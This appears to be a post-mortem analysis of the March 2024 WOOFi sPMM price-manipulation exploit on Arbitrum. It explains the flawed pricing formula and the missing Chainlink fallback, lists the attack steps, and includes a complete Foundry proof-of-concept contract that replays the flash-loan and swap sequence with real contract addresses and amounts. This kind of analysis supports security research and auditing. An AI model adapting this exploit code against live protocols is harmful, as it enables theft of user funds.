Overview
On the 5th of March 2024, WOOFi’s synthetic proactive market making (sPMM) algorithm that controls the pricing of WOOFi Swaps was exploited on Arbitrum for $8.6M.
The exploit involved a series of flash loans. Flash loans are a type of borrowing where funds are borrowed and repaid atomically (within a single transaction). These loans were used to exploit the low liquidity to artificially control the price of WOO. This manipulation allowed the attacker to repay the flash loans at a reduced cost, profiting from the difference.
Background
What are WOOFi and sPMM?
- WOOFi is a decentralized exchange that uses a synthetic proactive market-making (sPMM) algorithm, different from traditional automated market makers (AMMs). It works alongside WOOFi's on-chain oracles to simulate the price, spread, and depth of the order book on centralized exchanges.
- In WOOFi v2's design, the sPMM overrides the oracle price based on users' trade value to control slippage and maintain balanced pools.
- However, a previously unnoticed error caused the adjusted price to deviate significantly from the expected range ($0.00000009), and the fallback check, typically executed against Chainlink, didn't cover the WOO token price.
- The recent addition of a WOO lending market on Arbitrum, coupled with the low liquidity of WOO tokens, made the exploit economically viable. Since Arbitrum was the only network with both the WOO token and a WOO lending market, this was the only network on which this exploit occurred.
How Price Manipulation Works
Cryptocurrency prices derived from on-chain liquidity reserves are influenced by supply and demand dynamics.
When liquidity is low, it becomes easier for a large transaction to impact the price significantly. By executing a sequence of flash loans, the attacker manipulated the price of WOO downwards, allowing them to repurchase it at a lower price and repay the flash loans, making a profit in the process.
Attack Steps
The WOOFi team’s post-mortem outlines the following steps that the attacker took:
1. Borrowed USCD & WOO: The attacker borrowed ~10.6 million USDC using a Uniswap flash loan and then borrowed the total pool reserves of WOO tokens using a Trader Joe flash loan.
UniSwap Flash Amount: 10590749131947
USDCTJ Flash Amount: 270455801473726118787783
2. Deposited USDC & Borrowed WOO: The attacker deposited 7 million USDC into Silo and used this to borrow more WOO tokens to bring the total borrowing to ~7.7 million WOO tokens.
3. Swapped Tokens: The attacker performed a series of 4 consecutive swaps on WOOFI:
Oracle prices before swapping (decimals = 8):
USDC: 100000000
WOO: 56608180
WETH: 381661997086
Attacker's balance:
USDC balance: 3590749 USDC
WOO balance: 7797221 WOO
WETH balance: 0 WETH
a) USDC -> WETH: Increase the USDC reserves.
Oracle prices after swapping USDC -> WETH (decimals = 8):
USDC: 100000000
WOO: 56608180
WETH: 383188263412
Attacker's balance:
USDC balance: 1590749 USDC
WOO balance: 7797221 WOO
WETH balance: 522 WETH
b) USDC -> WOO: Increase the USDC reserves.
Oracle prices after swapping USDC -> WOO (decimals = 8):
USDC: 100000000
WOO: 57853248
WETH: 383188263412
Attacker's balance:
USDC balance: 1490749 USDC
WOO balance: 7970905 WOO
WETH balance: 522 WETH
c) WOO -> USDC: Manipulated the WOO price.
Oracle prices after swapping WOO -> USDC (decimals = 8):
USDC: 100000000
WOO: 383188263412
WETH: 9
Attacker's balance:
USDC balance: 3737641 USDC
WOO balance: 114037 WOO
WETH balance: 522 WETH
This attack was predicated on the attacker being able to swap a large base amount of WOO for USDC tokens to ensure that the price was sufficiently small. Therefore, sufficient USDC reserves were required to prevent an underflow from occurring and the transaction reverting. Since the increase in USDC reserves was sufficient as a result of the first two swaps, the attacker was able to swap a large amount of WOO for USDC. Based on the characteristic price calculation in WooPPV2::_calcQuoteAmountSellBase
, the price could be manipulated to an extreme value:
newPrice =
((uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec) *
state.price) /
1e18;
The baseAmount
was specified so that the numerator of the above calculation was close to 1e18
, meaning that the newPrice
returned was almost zero (9
). With 8 decimals of precision, this yields a price of $0.00000009.
d) USDC -> WOO: bought back the WOO at a minimal price.
Oracle prices after swapping USDC -> WOO (decimals = 8):
USDC: 100000000
WOO: 383188263412
WETH: 9
Attacker's balance after swapping USDC -> WOO:
USDC balance: 3737640 USDC
WOO balance: 10346945 WOO
WETH balance: 522 WETH
This Manipulated the WOOFi Price Oracle. WOOFi’s sPMM algorithm incorrectly adjusted the price of WOO to $0.00000009. Taking advantage of the extreme price adjustment caused by the sPMM, the attacker swapped ~10 million WOO tokens in the same transaction at a minimal cost.
-- To learn more, refer to this guide on price oracle manipulation.
4. Repay the loans: after repaying the loans, the attacker swapped the excess USDC for WETH and then sent their 559 WETH and the additional 2.3 million WOO tokens to another address, after which WOO was swapped for WETH.
5. Repeating the attack: The attacker repeated this attack three times resulting in ~$8.75 million in profits after returning the borrowed funds.
Causes: Vulnerability Details
a) The WOO Oracle Price was manipulated
When WooPPV2::swap
is called, _sellQuote()
is called for swaps 1, 2 and 4 and _sellBase()
is called for swap 3.
_sellBase()
calls _calcQuoteAmountSellBase()
to get the number of tokens to receive and the new price of the token being swapped. Here, the price calculation adjusted the price to an extreme value:
function _calcQuoteAmountSellBase(
address baseToken,
uint256 baseAmount,
IWooracleV2.State memory state
) private view returns (uint256 quoteAmount, uint256 newPrice) {
require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");
DecimalInfo memory decs = decimalInfo(baseToken);
// quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)
{
uint256 coef = uint256(1e18) -
((uint256(state.coeff) * baseAmount * state.price) / decs.baseDec / decs.priceDec) -
state.spread;
quoteAmount = (((baseAmount * decs.quoteDec * state.price) / decs.priceDec) * coef) / 1e18 / decs.baseDec;
}
// newPrice = oracle.price * (1 - 2 * k * oracle.price * baseAmount)
newPrice =
((uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec) *
state.price) /
1e18;
}
Using approximations, it can be explained why this occurred. Looking at the following section of the newPrice
calculation:
(uint256(1e18) - (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec)
- Defining
δ
as (uint256(2) * state.coeff * state.price * baseAmount) / decs.priceDec / decs.baseDec)
, this calculation becomes 1 - δ
- If the base amount to swap is very small, or approximately zero, it can also be approximated that
δ ~ 0
and so it follows the calculation can be approximated as 1 - δ ≈ 1
- If the base amount is defined so that
δ
is close to 1, it can be approximated that δ ~ 1
, and the calculation can be approximated as 1 - δ ≈ 0
meaning that the price calculation will be very close to zero, but still non-zero to avoid underflow.
b) The Chainlink oracle was not set for WOO
- Since WOOFi relies on Chainlink as the fallback with which to compare the WOO oracle price, for dramatic fluctuations in price such as the one described above, the Chainlink price should have prevented the attack and caused the transaction to revert.
- However, the oracle was returned as the zero address. Given that there is an admin function to set the oracle, it can be assumed that this was never called for WOO and that the Chainlink oracle was never set. This meant that the new, extreme price was accepted without reverting.
Proof of Concept: Replicating the Hack
The following code, written using Foundry, is a proof of concept for this hack and recreates the steps described above:
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {IERC20} from 'forge-std/interfaces/IERC20.sol';
import '../src/interfaces/ITraderJoe.sol';
import '../src/interfaces/ISilo.sol';
import '../src/interfaces/IUniSwapV3Pool.sol';
import '../src/interfaces/IWooPPV2.sol';
import '../src/interfaces/IWETH.sol';
import '../src/interfaces/IWooOracleV2.sol';
contract WOOFiAttacker is Test {
address constant USDC = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
address constant WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
address constant WOO = 0xcAFcD85D8ca7Ad1e1C6F82F651fA15E33AEfD07b;
ITraderJoe constant TRADERJOE = ITraderJoe(0xB87495219C432fc85161e4283DfF131692A528BD);
ISilo constant SILO = ISilo(0x5C2B80214c1961dB06f69DD4128BcfFc6423d44F);
IWooPPV2 constant WOOPPV2 = IWooPPV2(0xeFF23B4bE1091b53205E35f3AfCD9C7182bf3062);
IWooOracleV2 constant WOOORACLEV2 = IWooOracleV2(0x73504eaCB100c7576146618DC306c97454CB3620);
IUniswapV3Pool constant POOL = IUniswapV3Pool(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
uint256 constant MAX_UINT = type(uint256).max;
uint256 uniSwapFlashAmount;
uint256 traderJoeFlashAmount;
enum Action {
NORMAL,
REENTRANT
}
function setUp() public {
bytes32 txHash = 0x57e555328b7def90e1fc2a0f7aa6df8d601a8f15803800a5aaf0a20382f21fbd;
vm.createSelectFork("arb", txHash);
}
function testAttack() public {
// log the state beforehand
console.log("Attacker's balance before attack:");
console.log("USDC:", IERC20(USDC).balanceOf(address(this)) / 1e6, "USDC");
console.log("WOO:", IERC20(WOO).balanceOf(address(this)) / 1e18, "WOO");
console.log("WETH:", IERC20(WETH).balanceOf(address(this)) / 1e18, "WETH");
uint256 ethBalanceBefore = address(this).balance;
console.log("ETH:", ethBalanceBefore / 1e18, "ETH \n");
// initiate the attack
initFlash();
// log the state after
console.log("Attacker's balance after attack:");
console.log("USDC:", IERC20(USDC).balanceOf(address(this)) / 1e6, "USDC");
console.log("WOO:", IERC20(WOO).balanceOf(address(this)) / 1e18, "WOO");
console.log("WETH:", IERC20(WETH).balanceOf(address(this)) / 1e18, "WETH");
uint256 ethBalanceAfter = address(this).balance;
console.log("ETH (profit):", (ethBalanceAfter - ethBalanceBefore) / 1e18, "ETH \n");
}
/// @notice Calls the pools flash function with data needed in `uniswapV3FlashCallback`
function initFlash() public {
// inital approvals required for the tokens
IERC20(WOO).approve(address(WOOPPV2), MAX_UINT);
IERC20(WOO).approve(address(SILO), MAX_UINT);
IERC20(USDC).approve(address(SILO), MAX_UINT);
IERC20(USDC).approve(address(WOOPPV2), MAX_UINT);
// get the USDC balance of the UniSwap pool
uniSwapFlashAmount = IERC20(USDC).balanceOf(address(POOL));
console.log("UniSwap Flash Amount: ", uniSwapFlashAmount / 1e6, "USDC \n");
// flash loan USDC - calls uniswapV3FlashCallback
POOL.flash(
address(this),
0,
uniSwapFlashAmount,
abi.encode(uint256(1))
);
// swap excess USDC for WETH
int256 swapAmount = int256(IERC20(USDC).balanceOf(address(this)));
POOL.swap(address(this), false, swapAmount, 5148059652436460709226212, new bytes(0));
// withdraw excess WETH to this contract via the fallback function
uint256 excessWETHBalance = IERC20(WETH).balanceOf(address(this));
IWETH(WETH).withdraw(excessWETHBalance);
//uint256 excessWOOBalance = IERC20(WOO).balanceOf(address(this));
//IERC20(WOO).transfer({some_other_address}, excessWOOBalance); // would only need to do this if sending to an attaker EOA
}
function uniswapV3FlashCallback(
uint256 fee0,
uint256 fee1,
bytes calldata data
) external {
// flash loan WOO
// get the total pool amount
traderJoeFlashAmount = IERC20(WOO).balanceOf(address(TRADERJOE));
console.log("TJ Flash Amount: ", traderJoeFlashAmount / 1e18, "WOO \n");
bytes32 hashTraderJoeAmount = bytes32(traderJoeFlashAmount);
// initiate the flash loan - calls LBFlashLoanCallback
TRADERJOE.flashLoan(ILBFlashLoanCallback(address(this)), hashTraderJoeAmount, new bytes(0));
// repay the Uniswap flash loan
IERC20(USDC).transfer(msg.sender, uniSwapFlashAmount + fee1);
}
function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes calldata data) external {
IERC20(USDC).transfer(address(POOL), uint256(amount1));
}
function LBFlashLoanCallback(
address sender,
IERC20 tokenX,
IERC20 tokenY,
bytes32 amounts,
bytes32 totalFees,
bytes calldata data
) external returns (bytes32) {
// deposit USDC and borrow all the WOO liquidity from Silo
SILO.deposit(USDC, 7000000000000, true);
uint256 amount = SILO.liquidity(WOO);
SILO.borrow(WOO, amount);
// 4 consecutive swaps:
// 1. USDC -> WETH
IERC20(USDC).transfer(address(WOOPPV2), 2000000000000);
WOOPPV2.swap(USDC, WETH, 2000000000000, 0, address(this), address(this));
// 2. USDC -> WOO
IERC20(USDC).transfer(address(WOOPPV2), 100000000000);
WOOPPV2.swap(USDC, WOO, 100000000000, 0, address(this), address(this));
// 3. WOO -> USDC
IERC20(WOO).transfer(address(WOOPPV2), 7856868800000000000000000);
WOOPPV2.swap(WOO, USDC, 7856868800000000000000000, 0, address(this), address(this));
// 4. USDC -> WOO // reap the rewards
IERC20(USDC).transfer(address(WOOPPV2), 926342);
WOOPPV2.swap(USDC, WOO, 926342, 0, address(this), address(this));
// repay WOO loan to Silo & withdraw USDC
SILO.repay(WOO, MAX_UINT);
SILO.withdraw(USDC, MAX_UINT, true);
// repay the Trader Joe flash loan
IERC20(WOO).transfer(msg.sender, uint256(amounts) + uint256(totalFees));
// TJ flash loans require the following data to be returned
bytes32 returnData = keccak256("LBPair.onFlashLoan");
return returnData;
}
receive() external payable {}
/* ----- Helper Functions ----- */
function _getPrice(address asset) internal view returns (uint256) {
(uint256 priceNow, bool feasible) = WOOORACLEV2.price(asset);
return priceNow;
}
function _getTokenInfo(address token) internal view returns (uint192) {
IWooPPV2.TokenInfo memory tokenInfo = WOOPPV2.tokenInfos(token);
return tokenInfo.reserve;
}
}
-- The full code including the interfaces can be viewed on GitHub.
Summary
The price of WOO was manipulated to an extreme value, close to zero, by swapping a large amount of tokens obtained via various loans. Since the Chainlink oracle for WOO was not set, the fallback logic was not triggered and the extreme price was accepted as valid. This resulted in the attacker stealing ~$8.5 million from the protocol.
Getting your protocol audited significantly decreases the probability of an attack like this happening.
References